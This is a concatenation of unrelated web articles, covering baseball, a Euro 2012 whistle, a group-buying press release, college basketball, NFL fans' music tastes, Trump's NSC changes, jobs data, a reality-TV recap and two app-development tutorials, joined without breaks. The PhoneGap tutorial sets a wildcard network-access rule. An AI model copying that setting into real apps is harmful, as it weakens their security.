City, as one nod to Greinke's condition, he and Greinke used to have an agreement that they would speak only every three or four days. Hillman was astute enough to let Greinke be the only one to break the bargain by talking more. And he was thrilled when the kid did it on his own.
So it looks like yet another good sign of how far Greinke has come that after the Dodgers introduced him Tuesday and he began to take questions about why he chose the Dodgers over Texas, he made a crack about his new boss, Kasten, that also revolved around talking extra long.
"I don't want to make his head too big, but I thought Stan Kasten was like, the smartest guy I've ever talked to," Greinke volunteered with a laugh.
The TV cameras cut to Colletti and Magic just in time to catch how their eyes widened in surprise -- and then how they all broke up in shoulder-shaking laughter.
Kasten, whose affectionate nickname among the L.A. press is "Blowhard," would not seem to be the obvious choice to hit it off with Greinke.
Speaking to reporters later, Greinke answered a follow-up question about the Kasten remark with another allusion to his social anxiety disorder.
"Maybe I just haven't met a lot of people," Greinke joked, smiling again.
Perfect, right?
The Dodgers should feel good about the man they just signed.
The loneliest job in baseball is being on the mound and knowing a game, a pennant, a World Series can hinge on every ball that you throw. And more than ever, Zack Greinke looks like a pitcher in command of himself, not just all those pitches he throws.The constant bleating of vuvuzelas at the 2010 World Cup in Africa will long be remembered. With Ukraine and Poland set to host the 2012 European Championships, locals have decided it is a perfect opportunity to promote vuvuzela's European cousin.
Remember the hallmark sound of last summer’s soccer World Cup – the distinctive drone of the traditional South African horn, the vuvuzela?
Its equivalent for the Euro-2012 Championship to be held in Ukraine and Poland is going to be a whistle called ‘zozulica’.
It is named after and shaped like a cuckoo and, just like the vuvuzela, it dates back thousands of years.
“The tripolye culture where the zozulica came from, united many countries – Ukraine, Poland, Moldova, Romania and the Balkans,” says Aleksandr Sokolinsky, Zozulica project manager. “We want to use it at the 2012 Championship to let everyone know of our roots. We’re not saying this instrument is purely Ukrainian, I would rather say it is purely Slavic.”
Those behind the idea to use zozulicas at Euro 2012 say they will try to avoid the vuvuzela effect, which brought complaints from some that the powerful pitch of the African horn was irritating and drowned out the atmosphere.
Unlike the monotonous roar of a vuvuzela, the Ukrainian musical instrument provides a far more melodic sound, and anybody can play just about any tune.
Professional folk musician Maksim Berezhnyuk says any football fan could master this instrument in no time, and those particularly keen could play even more than just football songs.
“It is really easy to use,” Maksim Berezhnyuk says. “I’ve been playing zozulica for some time and I’ve learnt to play tunes by Nirvana, DJ Tiesto and by many other musicians.”
A zozulica costs under US$5, coming in various sizes in either clay or plastic.
But Lesya Denisenko-Eryomenko, a potter, who has been making the birdies for most of her life, says the more natural the zozulica, the more positive its vibe.
“The clay for the original zozulica comes from the soil, Ukrainian soil,” she says. “Our country is friendly – every person coming here for the 2012 Cup will feel it. And the zozulica will transfer the positive emotions of our land to every fan who uses one.”
Those pushing the zozulica, hope it will become the unofficial emblem of the Euro 2012 Championship. The sound filling stadiums next year in Ukraine and Poland will indicate how successful they have been.SEATTLE--(BUSINESS WIRE)--Tippr™, the premier provider of group buying solutions, today announced its top five predictions for the group buying industry in 2012. Founder and CEO Martin Tobias, an emerging expert in social commerce, predicts that with the phenomenal maturation of the daily deal industry seen in 2011, a new paradigm will usher in programs that merge content with a seamless deal delivery experience. The industry focus will evolve from deal sites and daily emails to other messaging formats, providing relevant deals where, when, and how consumers want them.
Tippr’s top five predictions for 2012 include:
1. LivingSocial Will Be Purchased The Amazon-funded daily deal site has patiently waited in the IPO shadow and has learned a lesson or two from its rival’s bumpy road to Wall Street. Tippr predicts that LivingSocial will not stay independent long, despite their IPO plans. Instead, the deal provider will jump to the head of the group buying pack by combining assets with a major e-commerce player. By merging with a company backed by both a large Rolodex and bank account, LivingSocial will be poised to successfully leapfrog Groupon and render it a mere also-ran in the daily deals landscape. 2. 200 “Groupon Clones” Will Bite The Dust As Consolidation Mode Takes Off With more than 600 companies currently operating in the group buying space, industry consolidation is going to become a very real threat to many daily deal sites. According to Yipit.com, over 170 deal sites failed in 2011. Next year the trend will continue as large companies purchase smaller rivals and other generic deal brands go belly up. Tippr forecasts that over 200 of the ‘me-too’ deal sites will close their doors within the first six months of the New Year. Meanwhile, sites that have found a way to integrate daily deals into their existing content, rather than just photocopying Groupon’s model, will not only survive but thrive. 3. 2012 Is The Year of the White Label White-label providers will reign supreme in 2012. According to Yipit research, this year white label exhibited a transaction volume of 5-10%, but next year Tippr expects it to double to as much as 20%. Need further proof? Just how the SaaS industry and companies like Salesforce and Concur cemented their position as market leaders by enabling other sites with powerful consumer-facing CRM and expense management applications, so will the winner in the deal commerce game be the player who perfects the infrastructure behind daily deals and makes it available to many. Media companies, niche bloggers, and digital content creators have credible brands, local sales forces, and engaged audiences–critical components that large horizontal sites spend hundreds of millions to grow. The only piece these companies are missing is the technology on which to build a deal site. In the year ahead, white label technologies will allow publishers to prevail after the Groupons of the world have exhausted their resources acquiring new customers and finding new merchants. 4. Big Branded Sites’ Futures Lies In Instant Contextualized Deals Tippr believes 2012 will be the year big brand sites, which source hundreds of deals to large audiences with diverse interests, establish a profitable business model. But profits will only follow the ability to tailor content, matching the right customer with the right merchant. Simply put, the daily space will be dominated by the players who understand how to effectively merge content and commerce into a seamless experience, allowing consumers access to relevant deals anywhere and at any time. In 2012, Tippr predicts Groupon and LivingSocial will make massive investments in their mobile capabilities, while Google, Facebook and other major audience aggregators will extend their commitment to the integration of location, advertorial, mobile, and contextual commerce. 5. Lacking Loyalty, Groupon Goods Will Come To A Dreary Demise From the operational challenges associated with maintaining a physical inventory to heavyweight competition from highly efficient retailers like Amazon, Gilt and eBay, Groupon Goods has faced an uphill battle from its very beginning. Tippr predicts that fatal flaw in Groupon’s product arm will be the lack of loyalty and repeat customer opportunity. In fact, recent Forrester research already suggests that 51% of customers who buy the heavily discounted goods said they would’ve purchased those goods or services at full price anyway–but took the discount instead because it was available. Merchants, lacking the customer acquisition required to justify the steep discounts, will opt out of the site’s partnerships.
“The future of group buying will continue to be a passionate debate between consumers, pundits, publishers and investors as long as the profitable business model continues to elude so many of the industry’s players,” said Martin Tobias. “In 2012, the group buying landscape will be marked by consolidation, significant developments in offer targeting, and the introduction of new deal delivery technology. This is for certain, the daily deal show is far from over; instead, the scene has just been set.”
About Tippr
Tippr™ is the premier provider of group buying solutions. PoweredByTippr™, Tippr's white-label platform, is the industry’s only patented software and services solution that provides publishers with the robust technology, full suite of services, and extensive network required to power a successful group buying service. Tippr leverages the techniques learned from its own leading deal site, Tippr.com, to optimize the platform and power the success of its partners. The Tippr platform offers both traditional and new media properties a risk-free, turn-key solution, while also creating additional inventory for local and national advertisers.
Tippr is headquartered in Seattle, Washington and is funded by leading venture capital firms including RRE Ventures. For more information, go to www.PoweredByTippr.com.No. 7 Florida Gators basketball opened the 2014-15 season on Friday evening, hosting the William & Mary Tribe at the Stephen C. O’Connell Center in Gainesville, Florida.
The Gators took down the Tribe 68-45, winning their 24th consecutive season-opening game and improving to 19-0 in such games under Donovan. UF also extended its home winning streak to 33 games, the longest such streak in program history, which is also tied for the longest active streak in the nation.
OnlyGators.com breaks down Friday’s action with eight quick-hitters:
It was over when: Florida held an insurmountable halftime lead but still had its share of struggles in the second period. With five minutes left to play, freshmen point guard Chris Chiozza and forward Devin Robinson hooked up on a pair of plays that pushed the Gators’ lead up to 26. Chiozza first hit Robinson for an alley-oop. On the very next possession, Chiozza took off on a fastbreak, finding Robinson under the basket for a layup that put UF ahead 63-37 with 4:45 to play. Chiozza did it all with four points (2-of-2 shooting) with three assists and two rebounds, while Robinson went 4-for-9 from the field with four boards and a late block.
Prominent player: Redshirt junior F Dorian Finney-Smith sprained his left wrist early in the contest but returned after a short trip to the locker room and wound up as Florida’s top performer on Friday. Finney-Smith scored a team-high 15 points on 5-of-9 shooting, hitting all four of his free throws and adding five boards to boot. He netted five-straight as part of a 7-0 UF run in the second half and scored nine of the Gators’ first 13 points in the later period. He left the court late in the second half but most likely as a precaution.
Check out the second half of The Fastbreak…after the break.
First half focus: Florida opened up with some hot shooting, hitting 7-of-8 attempts from the field and all four of their triples to jump ahead 18-8 just six minutes into the game. The Gators stalled when their second unit came into the game but picked it up over the final eight minutes of the half, outscoring the Tribe 21-4 to take a 42-18 lead into the break.
Perfect play: A 15-0 run that lasted 5:18 spotted UF a 22-point lead late in the first half; it was highlighted by a couple of impressive plays including a fastbreak one-handed jam by Finney-Smith. But the play of the game was one possession later, as sophomore PG Kasey Hill stole the ball off the press, worked his way to the hoop and tossed it over his shoulder to a driving Michael Frazier II, who laid it in for an easy two. Hill missed all three of his shots but went 3-for-4 from the charity stripe, adding three assists, four rebounds and two steals with just a single turnover. Frazier, the junior guard, hit 5-of-12 shots and 2-of-6 threes for 12 points with five rebounds and two dimes. He missed his final four attempts from beyond the arc.
Standout stat: UF dominated the boards early on Friday, outrebounding WMU 23-10 in the first half but just 39-31 at the final buzzer. Florida also made 12 of its 15 free throws but drained just 6-of-17 threes, going 1-for-7 in the second half after starting 5-for-10 in the opening 20 minutes.
What it means: The Gators handily beat an opponent in the Tribe that were not expected to be any problem for one of the top teams in the country. UF started the game hot out of the gate, rebounded from some shooting struggles early in the second half and finished strong for the victory.
Next up: Florida will look to correct some issues before hosting Miami on Monday in the O’Dome. The Gators and Hurricanes will tip-off at 7 p.m. in a game that will air live on ESPNU.
Random notes: Florida’s first points of the season came via a three-pointer by redshirt senior transfer center Jon Horford, who hit 4-of-5 shots for 11 points with five rebounds in the game … redshirt senior walk-on F Jacob Kurtz was the first substitution off the bench and led the Gators with seven boards; he also went 3-for-4 from the field, scoring six points in 23 minutes (fifth-most on the team) … redshirt sophomore G Dillon Graham, freshman walk-on G Zach Hodskins and redshirt junior walk-on F Lexx Edwards all saw the court in the season openerFootball fans have some free time in the summer as they wait for preseason to being or their star quarterback to finish battling the NFL via the justice system. Football fans, like most regular people, seem to enjoy music and so StubHub decided to see which concerts fans were attending. The list is based on fans who purchased tickets on StubHub for both NFL games and live concerts. The results are at times totally expected, sometimes surprising, and marginally hilarious (Eagles fans).
Arizona Cardinals
Favorite Band: U2
Atlanta Falcons
Favorite Band: The Rolling Stones
Baltimore Ravens
Favorite Band: Florida Georgia Line
Buffalo Bills
Favorite Band: Garth Brooks
The Cardinals and Falcons open up the list with strong candidates for king of dad music. Garth Brooks appears multiple times on this list and Buffalo is the least surprising location. Baltimore apparently forgot Dru Hill exists.
Carolina Panthers
Favorite Band: Taylor Swift
Chicago Bears
Favorite Band: The Rolling Stones
Cincinnati Bengals
Favorite Band: Jason Aldean
Cleveland Browns
Favorite Band: Garth Brooks
Garth Brooks is now the preferred choice of Browns and Bills fans. Is the infinite sadness within the arena swift and acute or dull and steady?
Dallas Cowboys
Favorite Band: Taylor Swift
Denver Broncos
Favorite Band: Kenny Chesney
Detroit Lions
Favorite Band: Kid Rock
Green Bay Packers
Favorite Band: Luke Bryan
This is the most sensible foursome on the list.
Houston Texans
Favorite Band: Kenny Chesney
Indianapolis Colts
Favorite Band: Ed Sheeran
Jacksonville Jaguars
Favorite Band: Elton John
Kansas City Chiefs
Favorite Band: Luke Bryan
I would have believed Jaguars fans would pay money to watch a dumpster get lit on fire if you told me so it’s nice to see that they fill their spare time listening to one of the most prolific composers in a generation. Which brings us to Ed Sheeran as Indianapolis’ hottest ticket. Seriously, Indianapolis? Ed Sheeran? Have a modicum of respect.
Miami Dolphins
Favorite Band: Ariana Grande
Minnesota Vikings
Favorite Band: Ed Sheeran
New England Patriots
Favorite Band: Billy Joel
New Orleans Saints
Favorite Band: Garth Brooks
For The Win’s own Micah Peters, a native of New Orleans, was irate when he discovered the betrayal that had befallen him at the hands of his home. Micah’s betrayal is nothing compared to that of the state of Massachusetts committing themselves to the patron saint of New York City and grandmothers from New Jersey, Billy Joel. AND ED SHEERAN AGAIN.
New York Giants
Favorite Band: Kenny Chesney
New York Jets
Favorite Band: Billy Joel
Oakland Raiders
Favorite Band: The Grateful Dead
Philadelphia Eagles
Favorite Band: Maroon 5
Take a hard look in the mirror, Eagles fans. Do you like what you see?
Pittsburgh Steelers
Favorite Band: U2
San Diego Chargers
Favorite Band: U2
San Francisco 49ers
Favorite Band: Grateful Dead
Seattle Seahawks
Favorite Band: Rush
I’m shocked Rush appears only once on this list and I’m also shocked that U2 isn’t the most embarrassing band featured.
St. Louis Rams
Favorite Band: Ed Sheeran
Tampa Bay Buccaneers
Favorite Band: Luke Bryan
Tennessee Titans
Favorite Band: The Rolling Stones
Washington Redskins
Favorite Band: Foo Fighters
Seriously why do people like Ed Sheeran so much?
Whatever. He’s nice enough, I guess.
Don’t get cocky on me, Sheeran.Trump Reorganizes, Politicizes National Security Council
Steve Bannon is in. The Chairman of the Joint Chiefs and Director of National Intelligence are out. Sort of.
James Joyner · · 42 comments
Lost in yesterday’s understandable outrage over President Trump’s executive order banning travel from several predominantly Muslim countries—which was, quite predictably, stopped by the courts—was a rather astounding reorganization of the National Security Council. It is nowhere to be found on the main page of the New York Times website and one has to scroll way down the page of the Washington Post website to see the story as I type this at 6:20 am. Yet it is likely to have more far-reaching consequences.
Even the WaPo story gives the news second billing in both the headline (“Trump orders ISIS plan, talks with Putin and gives Bannon national security role“) and the story:
President Trump on Saturday ordered the Pentagon to devise a strategy to defeat the Islamic State and restructured the National Security Council to include his controversial top political adviser as he forged a partnership with Russian President Vladimir Putin in their first official phone call. [SEVERAL PARAGRAPHS REDACTED] Counseling Trump in the effort will be Stephen K. Bannon, the White House chief strategist whose influence inside the administration is expanding far beyond politics. In a separate presidential memo, Trump reorganized the National Security Council to, along with other changes, give Bannon a regular seat on the principals committee — the meetings of the most senior national security officials, including the secretaries of defense and state. That memo also states that the director of national intelligence and the chairman of the Joint Chiefs of Staff will sit on the principals committee only when the issues to be discussed pertain to their “responsibilities and expertise.” In the previous two administrations, both were included as regular attendees. The White House thinks the changes will make the NSC more adaptive to modern threats. Trump said the changes would bring “a lot of efficiency and, I think, a lot of additional safety.” The changes affirm the ascent of Bannon, the former executive chairman of Breitbart, a conservative website that is popular with white nationalists, who has emerged as Trump’s political consigliere and the keeper of the president’s populist flame.
Putting Bannon on the NSC and its Principals Committee is being portrayed in some circles as an unprecedented politicization of the interagency process. Given that Ben Rhodes, a partisan operative and speeechwriter with no education or training in the trade, was the Deputy National Security Advisor and arguably the most important policy advisor to President Obama, I can’t get too worked up about that. Bannon having a key foreign policy role is problematic because Bannon is a malevolent actor with no understanding of global affairs, not because he doesn’t have a traditional national security billet. And, frankly, if Bannon is going to be one of the voices Trump most listens to, he may as well be in the room when people who know what they’re talking about are discussing the issues; he might learn something.
More problematic is that Trump has removed the Chairman and the DNI from the normal rotation. This is so unusual that I was under the impression that it was illegal. It is not. While the Goldwater-Nichols act of 1986 made the Chairman a statutory advisor to the NSC and the Homeland Security Act of 2002 created the DNI and made him a statutory advisor—and while every president has included them in both the NSC and Principals Committee structure—the law is quite clear that their attendance is optional “and subject to the direction of the President.”
While legal, though, this strikes me as a bad idea. How bad, of course, depends on how it operates in practice. According to the Executive Order, ”The Director of National Intelligence and the Chairman of the Joint Chiefs of Staff, as statutory advisers to the NSC, shall also attend NSC meetings.” The NSC, in this sense, means meetings chaired by the President himself. At Principals Committee meetings—chaired either by the National Security Advisor or the Homeland Security Advisor—the new order provides “The Director of National Intelligence and the Chairman of the Joint Chiefs of Staff shall attend where issues pertaining to their responsibilities and expertise are to be discussed.” If there are frequent Principals Committee meetings in which the issues under discussion don’t implicate the U.S. armed forces, there’s no obvious reason for the chairman to attend those; indeed, it’s likely a better use of his time to stay at the Pentagon or be out circulating with the operating forces. Ditto the DNI.
Given the way in which the first eight days of the Trump presidency has unfolded, however, this smacks of intentionally removing divergent opinions shaped by real experience in global affairs from the room. This is somewhat mitigated by having a Secretary of Defense who only recently retired as a four-star Marine general. Still, the Chairman is designated by law as the principal military advisor to the President and the NSC; it’s a lot easier to serve that function if you’re in the room and privy to all the conversations.Millennials are storming back into the work force.Â
Friday's monthly jobs report showed that in January nonfarm payrolls grew by 257,000 in the US. And with revisions to recent reports, the past three months were the strongest for job creation in the US in 17 years.Â
The main driving force behind this trend? Millennials.
Workers between the ages of 25 and 34 have been surging back into the workforce over the past several years, with this trend really taking off in 2014.Â
Bill McBride over at Calculated Risk also wrote about this phenomenon on Monday, highlighting the coming rise of the prime-age working population — or those between the ages of 25 and 54. In economics speak, this would be considered a "demographic tailwind."Â
Young workers today are the middle-age, household-forming, tax-paying, consuming family heads of tomorrow.
This is the most important trend in the labor market right now. This is America's economic future.Â
25-34 More
FRED
More From Business InsiderIt’s back-to-back Sunday Night Football appearances for the Dallas Cowboys, as America’s Team returns to primetime for a battle with the red hot Tampa Bay Buccaneers.
Rookie quarterback Dak Prescott had won 11 straight games under center for the Cowboys. But one poor performance in last week’s loss to the Giants was all it took for the whispers to begin about a potential call to the bullpen for Tony Romo. Prescott will need to play well and win tonight and beyond in order to keep the critics quiet.
And with the Giants’ win on Sunday afternoon over Detroit, the Cowboys must be careful not to squander what, just eight days ago, appeared to be a certain NFC East title and No. 1 seed. A loss on Sunday night would leave the Cowboys just one game up on New York. With the Giants holding the tiebreaker, a loss tonight would leave them with no margin for error the rest of the way.
A win tonight will be no easy task for Dallas, given that they’re going up against one of the hottest teams in the league. Tampa Bay comes in as winners of five straight, with a defense that’s coming together at the right time, and an offense with a fast-developing young quarterback and lots of talent at the skill positions. Heisman Trophy-winning quarterback Jameis Winston has had an excellent second-year in the NFL, and now has a chance to lead his team to an NFC South title.
Kickoff is at 8:30 p.m. ET. The game will be broadcast on NBC. Al Michaels and Cris Collinsworth have the call. NBC will stream the game on its website, or you can use either the NBC Sports app or the NFL Mobile app to watch on your phone or tablet. Those apps can be downloaded from the Apple App Store, Google Play, and the Windows Store. A cable subscription is required for the free stream
[image via Dean Bertoncelj – Shutterstock.com]
Have a tip we should know? tips@mediaite.comnews.com.au entertainment reporter Nick Bond sat down with the Real Housewives of Sydney's, things escalated quickly.
LAST week’s episode of The Real Housewives of Sydney finished with a fight so dramatic several cast members ended up wearing their cocktails.
This week opens with the calm after the storm, showing Krissy, Nicole and Athena up early for a sunrise swim at the rooftop pool of their Singapore hotel.
After the previous night’s exploits, Krissy and Nicole offer to absolve Athena of her sins with an old-fashioned baptism.
That’s their story, anyway — they may be trying to drown her.
Krissy‘s convinced that briefly dunking Athena in a hotel pool should be all it takes to stop her behavioural issues.
“She came out a changed person... I saw this spirit fly up to the sky. It was dark and black and had big fangs,” she insists.
Later that day Lisa, Matty and Mel go shopping — Lisa nonchalantly buying a $19k bag at the first shop she walks into (Note: If you have enough money to so casually purchase something this expensive then GIVE ME SOME OF YOUR BLOODY MONEY) and the girls recount what she missed, having sat out the previous night’s dinner.
It all kicked off when Victoria threw a napkin at Athena with such brutal force that “you could hear the BANG,” Matty says. Nothing like the sickening crack of cloth napkin on Housewife.
Lisa instantly sides with Athena in the tiff, insisting that Victoria is the common denominator in most Housewife disagreements — “And I do mean common.”
The only person Lisa hates more than Victoria is Krissy — for about the 374th time this season, she loudly announces that the married mother of three is a “slut.”
The others rankle at Lisa’s use of the word.
“DON’T say that in front of me, DON’T say that about Krissy,” chides Matty — but Lisa’s not finished.
“The thing that pisses me off about Krissy is she doesn’t get that her loud, obnoxious, slutty behaviour embarrasses me,” she says.
What IS Lisa’s obsession with another woman’s sex life? Could it have anything to with her recent admission that she and husband David haven’t had sex in over a year? Surely not.
The women all sit down for their first group meal after the previous night’s shenanigans, and Victoria admits she’s feeling slightly sheepish about her explosive fight with Athena.
“I’m annoyed at myself for letting her get to me like that. And she’s got that stuuuupid hat on today … everything about her irritates me.”
The hat... it is indeed stupid:
Athena’s not sure she’ll ever strike up a friendship with Victoria after the last night’s confrontation.
“My relationship with Victoria is dead, and the only way we can bring this dead donkey to life is to really shock some life into it,” she sighs.
We‘d assume that’s a metaphor but this is Athena X we’re dealing with, so there is a very real possibility she‘s hatching a plan to electrocute some livestock.
Over lunch, the topic of Lisa and Athena’s social media aggression comes up — Victoria says she thought it was low of them to put up a picture captioned “Queens don’t compete with hoes” a couple of weeks back, an obvious jab at their Housewife rivals.
“Are you saying I’m calling you hoes? No-one would pay you to have sex, and why would anyone pay [Krissy] when she gives it away for free?”
Cue deeply unimpressed looks from Victoria and Krissy.
Lisa then launches into another rant about Krissy’s “slutty” behaviour — which, when forced to define it, amounts to the fact that Krissy is a confident woman who also has breasts (BURN THE WITCH!).
She tells Krissy that she’s hated her from “day one” — largely because she’s heard so many whispers that Krissy’s been mocking her marriage problems behind her back.
From who? Why, from Athena, of course.
Hearing her name suddenly parachuted into the middle of this fight, Athena can’t do the Simpsons collar-tug fast enough.
“When did I say that?” asks Athena.
“You’ve said it MULTIPLE times and if you can’t own up to it, you and I can never be friends cos you’ve got me so f**ken angry at someone I probably shouldn’t have been angry with!”
“If you have a sick mind, it’s not my problem,” counters Athena, which winds Lisa up even further: “OOH you are a f**king bitch; you are a f**king bitch.”
It’s an odd display: They’ve fought with every other person at this table, but Lisa and Athena have never turned their fury on each other. Now they’re like two malfunctioning Roombas who, having bumped into every piece of furniture in the room, are trapped in a corner constantly butting into each other.
As the pair combust in a torrent of “f**k you” this and “I hate you” that, Krissy looks on with equal parts bewilderment and disdain.
Lisa admits that, so intense is her obsession with Krissy, she’s spent days walking around her house practising insults to throw at her. “My nanny thinks I’m nuts because I’m having this imaginary conversation with you all the time.” Lisa, your nanny is correct.
Lisa rises from the table and offers Krissy an apology and a hug - perhaps she shouldn’t have trusted all those nasty things Athena had relayed.
Wow. Is this a new Lisa Oldfield?
In a piece to camera, she reveals she’s still evil at heart:
“I’m trying to win the hearts and minds of the group. I’m happy to look contrite, but I don’t mean it. Fingers crossed behind my back … [Krissy] you’re a F**KING. BIG. SLUT.”
HA HA HA AWESOME! Go back to pacing your house day and night muttering creepy slutshamey insults about a woman who barely gives you a second thought, you’ve definitely won this round Lisa!!!
After lunch, Victoria’s got some Actual Normal Human Being Business to attend to: Her long-lost half-sister has flown from the UK to Singapore so they can meet for the first time.
They instantly get on, hugging and laughing as they form the beginnings of a sisterly bond. It’s so wholesome you almost expect the producers to send Athena barging in to throw a drink and call everyone fat.
Victoria suggests the pair get a drink to break the ice — she’s hankering for one of her beloved Skinny Bitch cocktails.
“That’s what I drink!” says Lucy.
OMG VICTORIA’S DELIGHTED LITTLE FACE WHEN SHE LEARNS THIS:
Later that night, Victoria brings Lucy out to meet the rest of the Housewives, because I guess Victoria suddenly hates her sister now?
“They’re all a bit crazy, they all scream and yell, and you can leave any time,” she warns Lucy.
As they welcome the nervous newbie into their tribe, Athena can’t resist one jab:
“I can see the similarities in their faces, they’re obviously related, and it must be unfortunate to find out that your sister is Victoria,” she says with a smirk.
Despite Victoria’s plea that they all stay on their best behaviour, it’s mere minutes before Athena and Lisa start to scream at each other from across the table. Lucy looks DEEPLY uncomfortable, a civilian caught in the crossfire of a nonsensical Housewives war. She does all anyone can do when Athena and Lisa have at it — desperately gulps on her cocktail while staring off into the middle distance.
“You’ve put poison in my ear from day one,” Lisa shrieks across the table, then, when Athena tries to defend herself: “WILL YOU SHUT THE F**K UP! You are a f**king Grade A c**t from central casting!”
Athena and Lisa both stamp off to separate corners of the bar — Athena so pulsating with rage she attempts to lift a coffee table off the ground. VERY NORMAL BEHAVIOUR.
“I HAVEN’T DONE’D ANYTHINK!” she screams at no-one in particular.
Over near the exits, Victoria and Lucy scarper for a quiet drink at another bar. Very wise, ladies.
The next day, Matty, Athena and Krissy head to a spa for a bit of pampering. Athena opts for the “Geisha facial’: “I was a Geisha in another lifetime,” she tells the beauty therapist.
“I was a Japanese man, then after that lifetime I actually came back as a Geisha to be punished for what happened in the previous life as a Japanese man.” We love this ‘reincarnation as cosmic payback for previous bad behaviour’ theory and, following her logic, we look forward to Athena's next life as a charity mugger with chronic halitosis.
Look, nothing much else happens during this spa session but we wanted to include it for this shot of Athena in her Hannibal Lecter beauty mask alone.
That night, the ladies regroup for one final dinner — all except Victoria, who’s hanging out with her sister one-on-one — and play a little game of Truth or Dare. Krissy’s asked by the others to tell a story about a former lover she’d love to revisit.
“Can we rein it down to countries? Do you want to go Italy, Greece, Lebanon?” she chuckles.
Lisa looks on in horror.
“Can you finally see what I’m talking about? Krissy’s vagina is like the United Nations of vaginas. It welcomes everyone of every colour, every creed,” she says, disgust palpable.
Unlike your One Nation-founding husband, hey babes?
There’s one thing that’ll distract Lisa from her seething obsession with Krissy’s vag: Her new Athena feud. She starts picking at that particular scab from across the table, calling Athena a “f**ken gobby cow.” Pretty soon, the screaming starts.
“You’re a F**KING LIAR and I F**KING HATE YOU and you are a F**KING EVIL SUCCUBUS!” screams Lisa.
And then, literally moments later: “I love Athena, I will always love Athena.”
Then they cuddle and tell each other they love each other. WHAT IS GOING ON WITH THESE TWO, WERE THEY SNIFFING GLUE IN THEIR HOTEL ROOM.
They may have just made up, but Lisa says she’s still “so hurt” by Athena’s behaviour. “And usually I forget about things in about five minutes and don’t hold a grudge,” insists the woman who earlier admitted she spends 90% of her home life to plotting another woman’s downfall.
Next week: The ladies go to some sort of sexy pyjama swingers party and Melissa performs an acoustic set (!) to an audience of approximately eight bemused onlookers at a local fair? Plus Athena and Lisa attempt to stage an “intervention” with Victoria = disaster.
The Real Housewives of Sydney screens 8:30pm Sundays on Foxtel’s Arena channel. Check back after each episode for our full recap — in the meantime, chat all things Housewives with recapper and f**king Grade-A c**t from Central Casting Nick Bond on Twitter at @bondnickbond.LeanTween Event Dispatching
LeanTween now supports an easier way to send messages to other parts of your code: Event Dispatching! In Unity it is often necessary to connect far-flung pieces of code together. This can usually be accomplished with some type of GameObject.Find(“objectName”); or setting a reference through the editor. These solutions can sometimes be clunky to say the least, and too much work.
Now there is a better way to send messages to another class, through the LeanTween.dispatchEvent method (to see the code: download the examples from Github). All you need to do is tell LeanTween what methods will be listening like:
void Start(){
LeanTween.addListener(gameObject, (int)MyEvents.CHANGE_COLOR, changeColor);
}
// The event listener
void changeColor( LTEvent e ){ }
Then anywhere in your code (in a different class, and or object) you can send a message to the listener with LeanTween.dispatchEvent:
LeanTween.dispatchEvent( (int)MyEvents.CHANGE_COLOR, transform);
// the second parameter is for passing data
That’s it! No need to keep a lot of references to all the object you will possibly be communicating with.
Below is an example of bunch of avatars that have no references to each other. When you click on one of them they send a message to all the other avatars:
Click an avatar to spread the rainbow!
The example is running in Flash, because LeanTween is still committed to supporting the Flash Export option.
Now dispatching events is more |
app.js shown above does the following
It binds to the document ready event. On ready, the home view will be rendered. The homeview makes a REST call to fetch all the blogs. We use jQuery to make the REST call. When data is received, we iterate over the data and create a list item for every blog post. Finally, we refresh the listview.
Allow Access to REST service
PhoneGap by default does not allow the application to access remote resources. This means the application can not make REST calls. To allow the application to make REST calls, we have to allow access. We can allow the application to access all the resources using a * wildcard. Refer to the documentation for more information.
Update the access configuration parameter in config.xml
<access origin="*" />
Install plugins
This application uses a couple of plugins to access device specific features.
$ cordova plugin add org.apache.cordova.geolocation $ cordova plugin add org.apache.cordova.dialogs
The first command installs the geolocation plugin. Geolocation provides information about the device’s location, such as latitude and longitude. We will use this later in the post. Refer to documentation for more information. The second command installs the dialogs plugin. The dialogs plugin provide native visual device notification. Refer to documentation for more information.
Screen 2 : Feedback Submission Form
The second screen allows users to submit feedback on the series.
We add the feedback form to record the feedback.
<script type="text/x-mustache-template" id="feedback-form-template"> <form action="" id="feedbackForm"> <div data-role="fieldcontain"> <label for="name"> Describe </label> <input type="text" name="name" id="name" placeholder="Full Name eg. Shekhar Gulati "> </div> <div data-role="fieldcontain"> <label for="description"> Describe </label> <textarea name="description" id="description" placeholder="Message for author.."></textarea> </div> <div id="checkboxes1" data-role="fieldcontain"> <fieldset data-role="controlgroup" data-type="vertical"> <legend> Share my location </legend> <input id="sharemylocation" name="sharemylocation" type="checkbox" value="true"> <label for="sharemylocation"> Share </label> </fieldset> </div> <button id="create-button" data-inline="true">Feedback</button> </form> </script>
The app.js file is updated to listen to tap events on any element within the feedback class. The feedback class is added to the feedback link on the top.
$(document).ready(function(){ homeView(); $('.home').on('tap', renderHomeView); $('.feedback').on('tap', renderFeedbackFormView); }); function renderFeedbackFormView(event){ event.preventDefault(); $('#main').empty(); $('#main').html(template("feedback-form")); $('#main').trigger('create'); $('#create-button').bind('tap',shareFeedback); } function shareFeedback(event){ event.preventDefault(); $('#feedbackForm').mask(); var name = $('#name').val(); var description = $('textarea#description').val(); var sharemylocation = $("#sharemylocation:checked").val() === undefined? "false" : "true"; var data = {name:name, description:description, lngLat :[]}; if(sharemylocation === "true"){ navigator.geolocation.getCurrentPosition(function(position){ var lngLat = [position.coords.longitude, position.coords.latitude]; data.lngLat = lngLat; postFeedback(data); }, function(error){ alert('code:'+ error.code + '
' +'message:'+ error.message + '
'); $('#feedbackForm').unmask(); }); }else{ postFeedback(data); } } function postFeedback(data){ $.ajax({ type : 'POST', url : 'http://30technologiesin30days-t20.rhcloud.com/api/v1/feedback', crossDomain : true, data : JSON.stringify(data), dataType : 'json', contentType: "application/json", success : function(data){ $('#feedbackForm').unmask(); $('#feedbackForm')[0].reset(); showNotification('Received your feedback', 'Info'); homeView(); }, error : function(XMLHttpRequest,textStatus, errorThrown) { $('#feedbackForm').unmask(); alert("Error status :"+textStatus); alert("Error type :"+errorThrown); } }); }
When the feedback form is submitted we get the data from the form. If the user has checked the sharemylocation checkbox, we the use the geolocation plugin API to fetch the users location. Finally, we submit the POST request to the REST web service. On a successfully feedback submission, we show a notification to the user.
Run the application
Now, we can install and run the application on the device by running the following command.
$ phonegap run android
That’s it for today. Keep giving feedback.
Next Steps
Sign up for OpenShift Online and try this out yourself
Promote and show off your awesome app in the OpenShift Application Gallery today.
Automatic Updates
